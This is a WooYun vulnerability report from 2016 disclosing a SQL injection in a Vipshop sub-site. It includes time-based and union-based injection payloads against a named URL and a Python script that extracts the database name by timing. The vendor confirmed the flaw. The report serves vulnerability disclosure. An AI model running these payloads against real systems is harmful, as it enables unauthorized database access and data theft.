当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0195738

漏洞标题:唯品会某分站SQL注入漏洞 (附利用技巧)

相关厂商:唯品会

漏洞作者: 猪猪侠

提交时间:2016-04-13 09:59

修复时间:2016-05-28 17:20

公开时间:2016-05-28 17:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-13: 细节已通知厂商并且等待厂商处理中
2016-04-13: 厂商已经确认,细节仅向厂商公开
2016-04-23: 细节向核心白帽子及相关领域专家公开
2016-05-03: 细节向普通白帽子公开
2016-05-13: 细节向实习白帽子公开
2016-05-28: 细节向公众公开

简要描述:

唯品会某分站SQL注入漏洞
那么高端的WAF,为什么不启用呢?

详细说明:

#1 注入点
http://share.vip.com/Acts/SetCount?id=63200
#2 PAYLOAD, 5秒后打开网页
http://share.vip.com/Acts/SetCount?id=63200' AND (SELECT * FROM (SELECT(SLEEP(5)))RING) and 'RING'='RING
#3 基于时间差注入

(SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(DATABASE())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))RING)


#* 另一种注入方式

http://share.vip.com/Acts/SetCount?id=63200' and if((1=2),1,(select 1 union select 2))#

漏洞证明:

#4 EXP

#!/usr/bin/env python
# encoding: utf-8
# vip_new.py
# [email protected]
import requests
import time
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,20):
for _str in payloads:
start_time = time.time()
url = "http://share.vip.com/Acts/SetCount?id=63200' AND (SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(DATABASE())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))RING) AND 'RING'='RING"
result = requests.get(url).text
if(time.time() - start_time) > 3:
print _str
break


#5 注入证明

database()
vipshop_share
user()
[email protected].***

修复方案:

那么高端的WAF,为什么不启用呢?

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-13 17:11

厂商回复:

您好,经确认,该问题真实存在且影响高危,已联系相关人员处理,感谢对我们业务的支持与贡献!

最新状态:

暂无